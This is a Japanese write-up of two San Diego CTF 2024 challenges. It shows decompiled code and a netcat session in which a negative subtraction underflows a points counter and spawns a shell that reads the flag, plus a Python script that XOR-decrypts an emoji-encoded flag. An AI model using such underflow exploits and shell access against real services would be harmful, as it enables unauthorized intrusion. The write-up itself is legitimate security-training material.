San Diego CTF 2024 Writeup

この大会は2024/5/11 9:00(JST)~2024/5/13 9:00(JST)に開催されました。
今回もチームで参戦。結果は225点で216チーム中122位でした。
自分で解けた問題をWriteupとして書いておきます。

point-plunderer (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  int local_20;
  uint local_1c;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_18 = 1000;
  local_14 = 1000;
  puts("Welcome to ByteBreach Point Management System!\n");
  printf("You currently have %d points.\n",(ulong)local_18);
  puts("try to get 1 MILLION points and break the bank!");
  do {
    puts("\nMenu:\n");
    puts("1. Add Points\n");
    puts("2. Subtract Points\n");
    puts("3. Exit\n");
    puts("Enter your choice: ");
    __isoc99_scanf(&DAT_001020d0,&local_20);
    if (local_20 == 3) {
      puts("Exiting...\n");
      if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    if (local_20 < 4) {
      if (local_20 == 1) {
        puts("Enter points to add: ");
        __isoc99_scanf(&DAT_001020d0,&local_1c);
        if ((local_1c < local_14) && (0 < (int)local_1c)) {
          local_18 = local_18 + local_1c;
          local_14 = local_14 - local_1c;
          puts("Points added successfully.\n");
        }
        else {
          puts("Bank doesn\'t have enough points or malformed input\n");
        }
      }
      else {
        if (local_20 != 2) goto LAB_001013af;
        puts("Enter points to subtract: ");
        __isoc99_scanf(&DAT_001020d0,&local_1c);
        local_18 = local_18 - local_1c;
        local_14 = local_14 + local_1c;
        puts("Points subtracted successfully.\n");
      }
    }
    else {
LAB_001013af:
      puts("Invalid choice! Please try again.\n");
    }
    printf("Current points: %ul\n",(ulong)local_18);
    if (1000000 < local_18) {
      system("/bin/sh");
    }
  } while( true );
}

「2. Subtract Points」でマイナスの値を指定して、local_18が1000000を超えるようにする。

$ nc localhost 35591       
Welcome to ByteBreach Point Management System!

You currently have 1000 points.
try to get 1 MILLION points and break the bank!

Menu:

1. Add Points

2. Subtract Points

3. Exit

Enter your choice: 
2
Enter points to subtract: 
-1000000
Points subtracted successfully.

Current points: 1001000l
ls
bin
chal
dev
flag
lib
lib64
usr
cat flag  
SDCTF{YOU_60l_4_lOt_0F_polNts_InR3NDcE}
SDCTF{YOU_60l_4_lOt_0F_polNts_InR3NDcE}

Emojis (Reverse)

フラグが"SDCTF{"から始まることを前提にXOR鍵を算出し、復号する。

#!/usr/bin/env python3
# coding: utf-8
encrypted = '🙚🙒🙌🙭😌🙧🙬🙻🙠🙓😣🙯🙖🙺🙠🙖😡🙃🙭🙿🙩🙟😯🙮🙬🙸🙻🙦😨🙩🙽🙉🙻🙑😯🙥🙻🙳🙐🙓😿🙯🙽🙉🙣🙐😡🙹🙖🙤🙪🙞😿🙰🙨🙤🙐🙕😯🙨🙽🙳🙽🙊😷'

flag_head = 'SDCTF{'

key = []
for i in range(len(flag_head)):
    key.append(ord(flag_head[i]) ^ ord(encrypted[i]))

flag = ''
for i in range(len(encrypted)):
    flag += chr(ord(encrypted[i]) ^ key[i % len(key)])

print(flag)
SDCTF{emojis_look_different_but_theyre_just_like_regular_letters}